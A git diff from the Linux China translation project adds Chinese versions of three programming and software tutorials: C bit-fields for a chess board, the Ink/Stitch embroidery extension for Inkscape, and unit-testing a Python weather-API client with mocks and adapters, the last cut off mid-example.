+[#]: subject: "Write a chess game using bit-fields and masks" +[#]: via: "https://opensource.com/article/21/8/binary-bit-fields-masks" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lujun9972" +[#]: translator: "FYJNEVERFOLLOWS" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14916-1.html" + +使用位字段和掩码写一个国际象棋游戏 +====== + +> 使用位字段和掩码是不用数据结构组合数据的常用方法。 + +![](https://img.linux.net.cn/data/attachment/album/202208/10/114605qzfzztj2uupb7zuw.jpg) + +假设你在用 C 语言写一个国际象棋游戏。追踪棋盘上棋子的一种方法是定义一个结构,该结构定义了棋盘上每个可能的棋子及其颜色,因此每个格子都包含该结构中的一个元素。例如,你可以将结构定义成下面这样: + +``` +struct chess_pc { +   int piece; +   int is_black; +} +``` + +有了这个数据结构,你的程序就会知道每个格子里是什么棋子及棋子的颜色。你可以快速识别出棋子是兵、车、马、象、后还是王,以及棋子是黑还是白。但是,有一种更直接的方法来跟踪这些信息,同时只用更少的数据和内存。与为棋盘上的每个方格存储两个 `int` 值的结构不同,我们可以存储单个 `int` 值,并使用二进制位字段和掩码来标识每个方格中的棋子和颜色。 + +### 比特和二进制 + +当使用位字段表示数据时,我们最好像计算机一样思考。让我们从列出可能的棋子开始,并为每个棋子分配一个数字。让我们进入下一个步骤,用二进制表示这个数字,也就是按照计算机追踪它的方式。记住,二进制数是由比特组成的,比特要么是 0,要么是 1。 + + * `00000000:` 空(0) + * `00000001:` 兵(1) + * `00000010:` 车(2) + * `00000011:` 马(3) + * `00000100:` 象(4) + * `00000101:` 后(5) + * `00000110:` 王(6) + +要列出一个棋盘上的所有棋子,我们只需要三个比特从右到左依次代表值 1、2 和 4。例如,数字 6 是二进制的 110。6 的二进制表示中的其他所有位都是 0。 + +一个聪明一点的方法:我们可以使用那些额外的总是为零的比特来跟踪一个棋子是黑还是白。我们可以使用数字 8(二进制 `00001000`)来表示棋子是否为黑色。如果这一位是 1,则代表该棋子是黑色;如果是 0,则代表该棋子是白色。这被称为**位字段**,稍后我们可以使用二进制**掩码**将其取出。 + +### 用位字段存储数据 + +要编写一个使用位字段和掩码的国际象棋程序,我们可以从以下定义开始: + +``` +/* 棋子 */ + +#define EMPTY 0 // 空 +#define PAWN 1 // 兵 +#define ROOK 2 // 车 +#define KNIGHT 3 // 马 +#define BISHOP 4 // 象 +#define QUEEN 5 // 后 +#define KING 6 // 王 + +/* 棋色 */ + +#define BLACK 8 // 黑 +#define WHITE 0 // 白 + +/* 掩码 */ + +#define PIECE 7 +``` + +当你为一个棋格赋值时,比如初始化棋盘,你可以赋一个 `int` 类型的值来跟踪棋子及其颜色。例如,要在棋盘的 `0,0` 位置存储棋子黑车,你可以使用下面的代码: + +``` +  int board[8][8]; +.. +  board[0][0] = BLACK | ROOK; +``` + +`|` 是二进制“或”(`OR`)操作符,这意味着计算机将合并两个数字的比特。对于每个比特的位置,如果**任意一个**数字的比特为 1,该位置比特的结果也是 1。`BLACK` 的值(8,即二进制下的 `00001000`)和 `ROOK` 的值(2,即二进制下的 `00000010`)的二进制或结果是二进制下的 `00001010`,即 10: + +``` +    00001000 = 8 + OR 00000010 = 2 +    ________ +    00001010 = 10 +``` + +类似地,要在棋盘的 `6,0` 位置存储一个白色兵,你可以这样做: + +``` +  board[6][0] = WHITE | PAWN; +``` + +这样存储的值就是 `WHITE`(0)和 `PAWN`(1)的二进制或的结果,也即是 1。 + +``` +    00000000 = 0 + OR 00000001 = 1 +    ________ +    00000001 = 1 +``` + +### 用掩码获取数据 + +在下棋过程中,程序需要知道棋格中的棋子和它的颜色。我们可以使用二进制掩码来分离这部分。 + +举个例子,程序可能需要知道棋局中棋盘上特定棋格的内容,例如位于 `board[5][3]` 的数组元素。这个是什么棋子,是黑的还是白的?为了识别棋子,使用二进制“与”(`AND`)操作符将元素的值与掩码 `PIECE` 结合起来: + +``` +  int board[8][8]; +  int piece; +.. +  piece = board[5][3] & PIECE; +``` + +二进制“与”(`AND`)操作符(`&`)将两个二进制值结合,这样对于任意位,如果两个数字中的那个位**都是** 1,那么结果也是 1。例如,如果 `board[5][3]` 的值是 11(二进制下的 `00001011`),那么 11 和 掩码 `PIECE`(7,二进制下的 `00000111`)二进制与的结果为二进制下的 `00000011`,也即 3。这代表马,马的值是 3。 + +``` +    00001011 = 11 +AND 00000111 = 7 +    ________ +    00000011 = 3 +``` + +解析棋子的颜色是一个简单的事情,只需要将棋子的值与 `BLACK` 位字段进行二进制与操作。比如,你可以写一个名为 `is_black` 的函数来确定棋子是黑还是白: + +``` +int +is_black(int piece) +{ +  return (piece & BLACK); +} +``` + +之所以可以这样,是因为 `BLACK` 的值为 8(二进制下的 `00001000`)。在 C 语言中,任何非零值都被视为 `True`,零总是 `False`。所以如果 `5,3` 处的棋子是黑色的,则 `is_black(board[5][3])` 返回 True 值(8);如果是白色的,则返回 False 值(0)。 + +### 位字段 + +使用位字段和掩码是不使用结构组合数据的常用方法。它们值得被程序员收藏到“工具包”中。虽然数据结构对于需要跟踪相关数据的有序编程是一种有价值的工具,但是使用单独的元素来跟踪单个的开或闭值(例如棋子的颜色)的效率较低。在这些情况下,可以考虑使用位字段和掩码来更高效地组合数据。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/8/binary-bit-fields-masks + +作者:[Jim Hall][a] +选题:[lujun9972][b] +译者:[FYJNEVERFOLLOWS](https://github.com/FYJNEVERFOLLOWS) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/life-chess-games.png?itok=U1lWMZ0y (Chess pieces on a chess board) diff --git a/published/202208/20210910 MAKE MORE with Inkscape - Ink-Stitch.md b/published/202208/20210910 MAKE MORE with Inkscape - Ink-Stitch.md new file mode 100644 index 0000000000..882fabf739 --- /dev/null +++ b/published/202208/20210910 MAKE MORE with Inkscape - Ink-Stitch.md @@ -0,0 +1,202 @@ +[#]: subject: "MAKE MORE with Inkscape – Ink/Stitch" +[#]: via: "https://fedoramagazine.org/make-more-with-inkscape-ink-stitch/" +[#]: author: "Sirko Kemter https://fedoramagazine.org/author/gnokii/" +[#]: collector: "lujun9972" +[#]: translator: "aREversez" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14935-1.html" + +Inkscape 扩展应用:Ink/Stitch +====== + +![MAKE more with Inkscape - Ink/Stitch][1] + +Inkscape 是 Fedora 设计团队最喜爱最常用的软件,它的功能可不止于制作精美的矢量图形。矢量图形(也就是 SVG 文件)可以帮助实现更多操作,许多软件也支持这一格式。不过,Inkscape 还有其他功能有待发掘。[本系列][2] 第一篇文章介绍了如何 [使用 Inkscape 生成 GCode 文件][3];本篇文章将探索 Inkscape 的另一项扩展功能:用于绣花设计的 [Ink/Stitch][4]。 + +### 绣花 DIY + +在过去数年里,DIY 风靡一时。可以说,这一现象始于廉价的 [3D 打印][5] 技术,以及后来的 [数控][6] 机床与激光切割机、激光雕刻机。这些设备都算不上非常昂贵。同时,绣花机等“传统”机器的价格也有下降。[家用绣花机现在只需 500 美元就能买到了][7]。 + +如果你不想买或者买不到绣花机,离你最近的 [创客空间][8] 一般也会有。即便是一台商用单头绣花机,价格也下降到了 5000 美元。对于购置绣花机这种投资来说,一般很快就能看到回报。 + +### 绣花设计软件 + +一些家用绣花机附有配套的绣花设计软件,不过大部分都只能在 Windows 系统上运行,就算该领域最常用的、独立于各绣花机制造商的软件 [Embird][9] 也是如此。不过,你也可以通过 Wine 来运行这些软件。 + +在 Linux 上,另一个办法就是使用 [Embroidermodde][10]。不过,该软件在 2014 年的募捐活动之后,就停止了开发活动。 + +到今天,只剩下一个办法:[Ink/Stitch][4] + +![The logo of the Ink/Stitch project][11] + +### 开源与绣花设计 + +绣花机价格高以及 Linux 用户少都怪不得制造商,毕竟为 Linux 开发应用的确不太值得。 + +#### 绣花文件格式问题 + +绣花机所用文件格式大量涌现,甚至还有一些制造商为自家机器定制了文件格式。在某些情况下,即便是一家制造商,可能也会使用多种文件格式。 + + * **.10o** – 丰田绣花机 + * **.100** – 丰田绣花机 + * **.CSD** – Poem、Huskygram 和胜家家用绣花缝纫机 + * **.DSB** – 百灵达绣花机 + * **.JEF** – 车乐美 MemoryCraft 10000 + * **.SEW** – 车乐美 MemoryCraft 5700、8000 和 9000 + * **.PES** – 兄弟和 Babylock 家用绣花缝纫机 + * **.PEC** – 兄弟和 Babylock 家用绣花缝纫机 + * **.HUS** – 好时运家用绣花缝纫机 + * **.PCS** – 百福家用绣花缝纫机 + * **.VIP** – 百福旧格式 & 好时运格式 + * **.VP3** – 百福家用缝纫机新格式 + * **.DST** – 田岛商用绣花缝纫机 + * **.EXP** – 美高商用绣花缝纫机 + * **.XXX** – Compucon 和 胜家家用绣花缝纫机 + * **.ZSK** – 美国市场的 ZSK 绣花机 + +关于绣花机会用到的文件格式,上面列出来的只是九牛一毛,可 [在此][14] 查看全部格式。如果你想进一步了解这些文件格式,可点击 [此处][15] 获取更多信息。 + +#### Ink/Stitch 文件格式 + +Ink/Stitch 最初使用的是 [libembroidery][12] 库,现在则使用 [pyembroidery][13] 库。在 pyembroidery 库的支持下,Ink/Stitch 目前可以读取以下格式:100, 10o, BRO, DAT, DSB, DST, DSZ, EMD, EXP, EXY, FXY, GT, INB, JEF, JPX, KSM, MAX, MIT, NEW, PCD, PCM, PCQ, PCS, PEC, PES, PHB, PHC, SEW, SHV, STC, STX, TAP, TBF, U01, VP3, XXX, ZXY 以及 TXT(内容为 GCode 代码)。 + +不过,Ink/Stitch 支持的储存格式则比较少:DST, EXP, JEF, PEC, PES, U01, VP3 and of course SVG, CSV 以及 TXT(内容为 GCode 代码)。 + +除了文件格式,绣花缝纫软件还需解决其它一些问题。 + +支持繁杂多样的线迹类型是一个难题,绘制工具与缝制工具的搭配使用又是另一个难题。不过,为什么非要从无到有搞出一套新应用?为什么不依赖现有的矢量软件?这样一来,开发者只需要在其基础上增添绣花扩展功能即可。后者就是 [Ink/Stitch 项目][4] 过去四年来的设计理念。 + +### 安装 Ink/Stitch + +Ink/Stitch 是 [Inkscape 的一个扩展功能][16]。不过,由于 Inkscape 下载安装扩展的新功能还处于测试阶段,在其提供的扩展功能中可能无法找到 Ink/Stitch。因此,你需要自行手动 [下载][17] 该扩展。下载后,将压缩包解压到 Inkscape 扩展所在路径,默认路径为 `~/.config/Inkscape/extensions`(或者放置在系统全局路径:`/usr/share/inkscape/extensions`)。若你改变了默认路径,则需检查 Inkscape 设置选项,找到扩展文件的存放位置。 + +### 自定义:为 Ink/Stitch 安装插件 + +Ink/Stitch 提供了为 Inkscape 安装插件的功能,用户需首先执行这一功能。 + +依次点击如下选项:扩展Extensions > Ink/Stitch > 线条颜色管理Thread Color Management > 为 Inkscape 安装线条调色板Install thread color palettes for Inkscape,之后等待片刻。 + +虽然这一过程不会出现进度条之类的提示,不过也无需着急。 + +该功能执行后,将会安装来自不同纱线制造商的 70 套色板,以及一套符号库。 + +![Inkscape with the swatches dialogue open, which shows the Madeira Rayon color palette][18] + +如果你使用的 Ink/Stitch 是从 Github 下载的 2.0.0 版本,那么下载下来的 ZIP 文件里就包括了色板文件。你只需将其解压到正确的路径:`~/.config/inkscape/palettes/`。如果你需要环形模板,可以点击 [此处][19] 下载,并将其保存到 `~/.config/inkscape/templates` 目录下。 + +重新启动 Inkscape,可在 文件File > 由模板新建New From Template 下找到该模板。 + +### Ink/Stitch 绣字 + +到目前为止,绣花设计最简单也最常用的方法就是使用 Ink/Stitch 的 文字缝制Lettering 功能。该功能位于 扩展Extensions > Ink/Stitch > 文字缝制Lettering。绣花文字缝制可不是一件简单事儿,它其实就是所谓的缎面绣字,需要做好特殊的文字设置。 + +![Inkscape with a “Chopin” glyph for satin stitching defined for the Lettering function][20] + +你可以将路径转换为缎面绣,但是这种方法比使用文字缝制功能还要繁琐许多。多亏了社区的活跃,2021 年 5 月份发布的 Ink/Stitch 2.0 版本预置了更多的字体。2.0 版本还增加了 扩展Extensions > Ink/Stitch > 字体管理Font Management 功能,让用户更方便地管理这些字体。 + +此外,还有制作字体的功能,但是你需要了解如何使用 Inkscape 设计字体,可在 [此处][21] 浏览相关英文教程。这里只给出大概的介绍:首先创建一个 SVG 字体,接着将其储存在 JSON 文件中,这样便可以在 Ink/Stitch 字体管理功能中使用。 + +![On the left side the Lettering dialogue and on the right the preview of this settings][22] + +该功能将打开一个对话窗口,你可以把文字输进去,调整字体及其大小,然后即可将输入的文字渲染出来。 + +### 绣制区域、路径等对象 + +Ink/Stitch 最容易实现的就是绣制区域或者路径。你需要做的只是画出路径。如果你使用的是形状,那么你需要将其转换成路径,然后执行如下操作:扩展Extensions > Ink/Stitch > 填充工具Fill Tools > 分离填充对象Break Apart Fill Objects…,将路径分割成若干部分。 + +虽然 Inkscape 也有 路径Path > 分离Break apart 功能,但是在这种情况下并不可行。 + +接下来,运行 Ink/Stitch 内置模拟器:扩展Extensions > Ink/Stitch > 可视化并导出Visualise and Export > 模拟器/实际预览Simulator/Realistic Preview。 + +![The new Fedora logo as Stitch Plan Preview][23] + +注意,模拟器运行时需要占用大量的系统资源,而且启动时间也比较长。其实,以下功能操作起来会更加简便:扩展Extensions > Ink/Stitch > 可视化并导出Visualise and Export > 线迹计划预览Stitch Plan Preview。该功能会在文件外部对线条进行渲染。 + +![Nicubunu’s Fedora hat icon as embroidery. The angles for the stitches of the head part and the brim are different so that it looks more realistic. The outline is done in Satin stitching][24] + +### 简单的缎面及缎面绣 + +Ink/Stitch 会使用连续的线条(非虚线)将每个笔画转换成之字形或简单的缎面。依照预先设置好的描边宽度,沿着路径绣出线迹。只要路径上没有过多的曲线,使用这一方法就没问题。 + +![Parameter setting dialogue and on the right the Fedora logo shape embroidered as Zig-Zag line][25] + +这个方法虽然简单,但绝不是最好的选择。最好的选择是使用缎面工具,该功能可以在 扩展Extensions > 缎面工具Satin Tools 找到。其中,转换功能又是重中之重,它可以将路径转换为缎面笔画。 + +![Fedora logo shape as Satin Line embroidery][26] + +通过 扩展Extensions > 缎面工具Satin Tools > 旋转缎纹路径Flip Satin Column Rails,你还可以改变线迹的方向。这样做可以凸显缎面绣的立体感,典型的例子就是泡芙刺绣(一种非常具有立体感的刺绣)。支持这种功能的机器还可以为绣花时产生的多余的连线线迹标记出修剪记号。这些记号正是从 Ink/Stitch 自身符号库里安装得到的符号。 + +### Ink/Stitch 线迹库 + +线迹库包括了 Ink/Stitch 可以创建的线迹类型。在前文,填充式线迹和之字形/缎纹线迹已经介绍过了,不过其他还有很多。 + + * **平针**:平针用于边缘装饰,沿直线或曲线缝制出一排短小的线迹,由此组成的一条条虚线就是平针。虚线的尺寸可大可小。 + + ![A running stitch – each dashed line will be converted in such one][27] + + * **豆针**:豆针可用于边缘装饰或添加设计细节。使用平针来回缝制就是豆针,这种缝法会增加线迹的厚度。 + + ![Bean Stitches – creating a thicker line][28] + + * **手工针**:在该模式下,Ink/Stitch 会将路径的每个节点当作穿针点;这些节点也正是针穿入的位置。 + + ![In manual mode – each node will be the needle penetration point][29] + + * **E 字针**:E 字针是一种简单但十分好用的绷缝线迹,用于贴花织物。这种线迹多用于婴儿装,因为婴儿的皮肤比较敏感。 + + ![E-Stitch mostly used for applications on baby cloths, soft but strong connection][30] + +### 绣花用线列表 + +有些绣花机,尤其是商用的绣花机,根据设计的需要,可以提前适配不同的针线。必要时,这类机器会自动切换使用合适的针线。有些绣花文件格式支持这一功能,但有些并不支持。Ink/Stitch 可以将用户设置好的线条列表应用到绣花设计中。 + +如果你想在现有的设计上导入线条列表,可执行如下操作:扩展Extensions > Ink/Stitch > 导入线条列表Import Threadlist。同样的,线条列表也可以导出:另存为Save As 不同的文件格式,如 *.zip。当然,也可以将其打印出来:扩展Extensions > Ink/Stitch > 可视化并导出Visualise and Export > 打印 PDFPrint PDF。 + +### 结语 + +为绣花设计编写软件可不是一件简单的事儿,软件需要支持很多功能,还要应对不同文件格式(有些属于闭源文件格式)带来的难题。Ink/Stitch 已经做得很好了,尽力打造出了一款功能多样的绣花工具,让用户能够进行基础的绣花设计。当然,它也不是完美的,有些功能还需要完善。但是,Ink/Stitch 绝对是一款十分优秀的工具,我也希望它能越来越好。绣花是个不错的兴趣爱好,有了 Ink/Stitch,Fedora Linux 用户便可开启天马行空的设计之门。 + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/make-more-with-inkscape-ink-stitch/ + +作者:[Sirko Kemter][a] +选题:[lujun9972][b] +译者:[aREversez](https://github.com/aREversez) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/gnokii/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramagazine.org/wp-content/uploads/2021/08/drawing2-816x345.png +[2]: https://fedoramagazine.org/series/make-more/ +[3]: https://fedoramagazine.org/make-more-with-inkscape-g-code-tools/ +[4]: https://inkstitch.org/ +[5]: https://fedoramagazine.org/3d-printing-in-fedora-from-an-idea-to-the-thing/ +[6]: https://en.wikipedia.org/wiki/Numerical_control +[7]: https://www.amazon.com/-/de/dp/B07VZ2YBLL/ref=sr_1_11?__mk_de_DE=%C3%85M%C3%85%C5%BD%C3%95%C3%91&crid=1MFJJWXMKQD6R&dchild=1&keywords=home+embroidery+machine&qid=1628388092&rnid=2941120011&s=arts-crafts&sprefix=home+embroider+%2Caps%2C-1&sr=1-11 +[8]: https://www.fablabs.io/labs/map +[9]: https://www.embird.net/ +[10]: https://embroidermodder.org/ +[11]: https://fedoramagazine.org/wp-content/uploads/2021/08/inkstitch_logo.png +[12]: https://github.com/Embroidermodder/libembroidery +[13]: https://github.com/inkstitch/pyembroidery +[14]: http://www.needlework.ru/page/embroidery.htm +[15]: http://edutechwiki.unige.ch/en/Embroidery_format +[16]: https://inkscape.org/~wwderw/%E2%98%85inkstitch-embroidery-extension +[17]: https://github.com/inkstitch/inkstitch/releases/tag/v2.0.0 +[18]: https://fedoramagazine.org/wp-content/uploads/2021/08/swatches-1024x556.png +[19]: https://inkstitch.org/assets/images/tutorials/templates/hoop-template.svg +[20]: https://fedoramagazine.org/wp-content/uploads/2021/08/satinfont-1024x556.png +[21]: https://inkstitch.org/tutorials/font-creation/ +[22]: https://fedoramagazine.org/wp-content/uploads/2021/08/lettering-1024x523.png +[23]: https://fedoramagazine.org/wp-content/uploads/2021/08/stitch-preview-1024x556.png +[24]: https://fedoramagazine.org/wp-content/uploads/2021/08/nicu-stitch.gif +[25]: https://fedoramagazine.org/wp-content/uploads/2021/08/zigzag-1024x463.png +[26]: https://fedoramagazine.org/wp-content/uploads/2021/08/satin.png +[27]: https://fedoramagazine.org/wp-content/uploads/2021/08/running-stitch-detail.jpg +[28]: https://fedoramagazine.org/wp-content/uploads/2021/08/bean-stitch-detail.jpg +[29]: https://fedoramagazine.org/wp-content/uploads/2021/08/manual-stitch-detail.png +[30]: https://fedoramagazine.org/wp-content/uploads/2021/08/e-stitch-detail.jpg diff --git a/published/202208/20210921 3 ways to test your API with Python.md b/published/202208/20210921 3 ways to test your API with Python.md new file mode 100644 index 0000000000..a6951521eb --- /dev/null +++ b/published/202208/20210921 3 ways to test your API with Python.md @@ -0,0 +1,488 @@ +[#]: subject: "3 ways to test your API with Python" +[#]: via: "https://opensource.com/article/21/9/unit-test-python" +[#]: author: "Miguel Brito https://opensource.com/users/miguendes" +[#]: collector: "lujun9972" +[#]: translator: "Yufei-Yan" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14944-1.html" + +用 Python 测试 API 的 3 种方式 +===== + +> 单元测试可能令人生畏,但是这些 Python 模块会使你的生活变得更容易。 + +![](https://img.linux.net.cn/data/attachment/album/202208/18/180800clp08p82pi838zrs.jpg) + +在这个教程中,你将学到如何对执行 HTTP 请求代码的进行单元测试。也就是说,你将看到用 Python 对 API 进行单元测试的艺术。 + +单元测试是指对单个行为的测试。在测试中,一个众所周知的经验法则就是隔离那些需要外部依赖的代码。 + +比如,当测试一段执行 HTTP 请求的代码时,建议在测试过程中,把真正的调用替换成一个假的的调用。这种情况下,每次运行测试的时候,就可以对它进行单元测试,而不需要执行一个真正的 HTTP 请求。 + +问题就是,_怎样才能隔离这些代码?_ + +这就是我希望在这篇博文中回答的问题!我不仅会向你展示如果去做,而且也会权衡不同方法之间的优点和缺点。 + +要求: + + * [Python 3.8][2] + * pytest-mock + * requests + * flask + * responses + * VCR.py + +### 使用一个天气状况 REST API 的演示程序 + +为了更好的解决这个问题,假设你正在创建一个天气状况的应用。这个应用使用第三方天气状况 REST API 来检索一个城市的天气信息。其中一个需求是生成一个简单的 HTML 页面,像下面这个图片: + +![web page displaying London weather][3] + +*伦敦的天气,OpenWeatherMap。图片是作者自己制作的。* + +为了获得天气的信息,必须得去某个地方找。幸运的是,通过 [OpenWeatherMap][2] 的 REST API 服务,可以获得一切需要的信息。 + +_好的,很棒,但是我该怎么用呢?_ + +通过发送一个 `GET` 请求到:`https://api.openweathermap.org/data/2.5/weather?q={city_name}&appid={api_key}&units=metric`,就可以获得你所需要的所有东西。在这个教程中,我会把城市名字设置成一个参数,并确定使用公制单位。 + +### 检索数据 + +使用 `requests` 模块来检索天气数据。你可以创建一个接收城市名字作为参数的函数,然后返回一个 JSON。JSON 包含温度、天气状况的描述、日出和日落时间等数据。 + +下面的例子演示了这样一个函数: + +``` +def find_weather_for(city: str) -> dict: +    """Queries the weather API and returns the weather data for a particular city.""" +    url = API.format(city_name=city, api_key=API_KEY) +    resp = requests.get(url) +    return resp.json() +``` + +这个 URL 是由两个全局变量构成: + +``` +BASE_URL = "https://api.openweathermap.org/data/2.5/weather" +API = BASE_URL + "?q={city_name}&appid={api_key}&units=metric" +``` + +API 以这个格式返回了一个 JSON: + +``` +{ +  "coord": { +    "lon": -0.13, +    "lat": 51.51 +  }, +  "weather": [ +    { +      "id": 800, +      "main": "Clear", +      "description": "clear sky", +      "icon": "01d" +    } +  ], +  "base": "stations", +  "main": { +    "temp": 16.53, +    "feels_like": 15.52, +    "temp_min": 15, +    "temp_max": 17.78, +    "pressure": 1023, +    "humidity": 72 +  }, +  "visibility": 10000, +  "wind": { +    "speed": 2.1, +    "deg": 40 +  }, +  "clouds": { +    "all": 0 +  }, +  "dt": 1600420164, +  "sys": { +    "type": 1, +    "id": 1414, +    "country": "GB", +    "sunrise": 1600407646, +    "sunset": 1600452509 +  }, +  "timezone": 3600, +  "id": 2643743, +  "name": "London", +  "cod": 200 +``` + +当调用 `resp.json()` 的时候,数据是以 Python 字典的形式返回的。为了封装所有细节,可以用 `dataclass` 来表示它们。这个类有一个工厂方法,可以获得这个字典并且返回一个 `WeatherInfo` 实例。 + +这种办法很好,因为可以保持这种表示方法的稳定。比如,如果 API 改变了 JSON 的结构,就可以在同一个地方(`from_dict` 方法中)修改逻辑。其他代码不会受影响。你也可以从不同的源获得信息,然后把它们都整合到 `from_dict` 方法中。 + +``` +@dataclass +class WeatherInfo: +    temp: float +    sunset: str +    sunrise: str +    temp_min: float +    temp_max: float +    desc: str + +    @classmethod +    def from_dict(cls, data: dict) -> "WeatherInfo": +        return cls( +            temp=data["main"]["temp"], +            temp_min=data["main"]["temp_min"], +            temp_max=data["main"]["temp_max"], +            desc=data["weather"][0]["main"], +            sunset=format_date(data["sys"]["sunset"]), +            sunrise=format_date(data["sys"]["sunrise"]), +        ) +``` + +现在来创建一个叫做 `retrieve_weather` 的函数。使用这个函数调用 API,然后返回一个 `WeatherInfo`,这样就可创建你自己的 HTML 页面。 + +``` +def retrieve_weather(city: str) -> WeatherInfo: +    """Finds the weather for a city and returns a WeatherInfo instance.""" +    data = find_weather_for(city) +    return WeatherInfo.from_dict(data) +``` + +很好,我们的 app 现在有一些基础了。在继续之前,对这些函数进行单元测试。 + +### 1、使用 mock 测试 API + +[根据维基百科][4],模拟对象mock object是通过模仿真实对象来模拟它行为的一个对象。在 Python 中,你可以使用 `unittest.mock` 库来模拟mock任何对象,这个库是标准库中的一部分。为了测试 `retrieve_weather` 函数,可以模拟 `requests.get`,然后返回静态数据。 + +#### pytest-mock + +在这个教程中,会使用 `pytest` 作为测试框架。通过插件,`pytest` 库是非常具有扩展性的。为了完成我们的模拟目标,要用 `pytest-mock`。这个插件抽象化了大量 `unittest.mock` 中的设置,也会让你的代码更简洁。如果你感兴趣的话,我在 [另一篇博文中][5] 会有更多的讨论。 + +_好的,言归正传,现在看代码。_ + +下面是一个 `retrieve_weather` 函数的完整测试用例。这个测试使用了两个 `fixture`:一个是由 `pytest-mock` 插件提供的 `mocker` fixture, 还有一个是我们自己的。就是从之前请求中保存的静态数据。 + +``` +@pytest.fixture() +def fake_weather_info(): +    """Fixture that returns a static weather data.""" +    with open("tests/resources/weather.json") as f: +        return json.load(f) +``` + +``` +def test_retrieve_weather_using_mocks(mocker, fake_weather_info): +    """Given a city name, test that a HTML report about the weather is generated +    correctly.""" +    # Creates a fake requests response object +    fake_resp = mocker.Mock() +    # Mock the json method to return the static weather data +    fake_resp.json = mocker.Mock(return_value=fake_weather_info) +    # Mock the status code +    fake_resp.status_code = HTTPStatus.OK + +    mocker.patch("weather_app.requests.get", return_value=fake_resp) + +    weather_info = retrieve_weather(city="London") +    assert weather_info == WeatherInfo.from_dict(fake_weather_info) +``` + +如果运行这个测试,会获得下面的输出: + +``` +============================= test session starts ============================== +...[omitted]... +tests/test_weather_app.py::test_retrieve_weather_using_mocks PASSED      [100%] +============================== 1 passed in 0.20s =============================== +Process finished with exit code 0 +``` + +很好,测试通过了!但是...生活并非一帆风顺。这个测试有优点,也有缺点。现在来看一下。 + +#### 优点 + +好的,有一个之前讨论过的优点就是,通过模拟 API 的返回值,测试变得简单了。将通信和 API 隔离,这样测试就可以预测了。这样总会返回你需要的东西。 + +#### 缺点 + +对于缺点,问题就是,如果不再想用 `requests` 了,并且决定回到标准库的 `urllib`,怎么办。每次改变 `find_weather_for` 的代码,都得去适配测试。好的测试是,当你修改代码实现的时候,测试时不需要改变的。所以,通过模拟,你最终把测试和实现耦合在了一起。 + +而且,另一个不好的方面是你需要在调用函数之前进行大量设置——至少是三行代码。 + +``` +... +    # Creates a fake requests response object +    fake_resp = mocker.Mock() +    # Mock the json method to return the static weather data +    fake_resp.json = mocker.Mock(return_value=fake_weather_info) +    # Mock the status code +    fake_resp.status_code = HTTPStatus.OK +... +``` + +_我可以做的更好吗?_ + +是的,请继续看。我现在看看怎么改进一点。 + +### 使用 responses + +用 `mocker` 功能模拟 `requests` 有点问题,就是有很多设置。避免这个问题的一个好办法就是使用一个库,可以拦截 `requests` 调用并且给它们 打补丁patch。有不止一个库可以做这件事,但是对我来说最简单的是 `responses`。我们来看一下怎么用,并且替换 `mock`。 + +``` +@responses.activate +def test_retrieve_weather_using_responses(fake_weather_info): +    """Given a city name, test that a HTML report about the weather is generated +    correctly.""" +    api_uri = API.format(city_name="London", api_key=API_KEY) +    responses.add(responses.GET, api_uri, json=fake_weather_info, status=HTTPStatus.OK) + +    weather_info = retrieve_weather(city="London") +    assert weather_info == WeatherInfo.from_dict(fake_weather_info) +``` + +这个函数再次使用了我们的 `fake_weather_info` fixture。 + +然后运行测试: + +``` +============================= test session starts ============================== +... +tests/test_weather_app.py::test_retrieve_weather_using_responses PASSED  [100%] +============================== 1 passed in 0.19s =============================== +``` + +非常好!测试也通过了。但是...并不是那么棒。 + +#### 优点 + +使用诸如 `responses` 这样的库,好的方面就是不需要再给 `requests` 打补丁patch。通过将这层抽象交给库,可以减少一些设置。然而,如果你没注意到的话,还是有一些问题。 + +#### 缺点 + +和 `unittest.mock` 很像,测试和实现再一次耦合了。如果替换 `requests`,测试就不能用了。 + +### 2、使用适配器测试 API + +_如果用模拟让测试耦合了,我能做什么?_ + +设想下面的场景:假如说你不能再用 `requests` 了,而且必须要用 `urllib` 替换,因为这是 Python 自带的。不仅仅是这样,你了解了不要把测试代码和实现耦合,并且你想今后都避免这种情况。你想替换 `urllib`,也不想重写测试了。 + +事实证明,你可以抽象出执行 `GET` 请求的代码。 + +_真的吗?怎么做?_ + +可以使用适配器adapter来抽象它。适配器是一种用来封装其他类的接口,并作为新接口暴露出来的一种设计模式。用这种方式,就可以修改适配器而不需要修改代码了。比如,在 `find_weather_for` 函数中,封装关于 `requests` 的所有细节,然后把这部分暴露给只接受 URL 的函数。 + +所以,这个: + +``` +def find_weather_for(city: str) -> dict: +    """Queries the weather API and returns the weather data for a particular city.""" +    url = API.format(city_name=city, api_key=API_KEY) +    resp = requests.get(url) +    return resp.json() +``` + +变成这样: + +``` +def find_weather_for(city: str) -> dict: +    """Queries the weather API and returns the weather data for a particular city.""" +    url = API.format(city_name=city, api_key=API_KEY) +    return adapter(url) +``` + +然后适配器变成这样: + +``` +def requests_adapter(url: str) -> dict: +    resp = requests.get(url) +    return resp.json() +``` + +现在到了重构 `retrieve_weather` 函数的时候: + +``` +def retrieve_weather(city: str) -> WeatherInfo: +    """Finds the weather for a city and returns a WeatherInfo instance.""" +    data = find_weather_for(city, adapter=requests_adapter) +    return WeatherInfo.from_dict(data) +``` + +所以,如果你决定改为使用 `urllib` 的实现,只要换一下适配器: + +``` +def urllib_adapter(url: str) -> dict: +    """An adapter that encapsulates urllib.urlopen""" +    with urllib.request.urlopen(url) as response: +        resp = response.read() +    return json.loads(resp) +``` + +``` +def retrieve_weather(city: str) -> WeatherInfo: +    """Finds the weather for a city and returns a WeatherInfo instance.""" +    data = 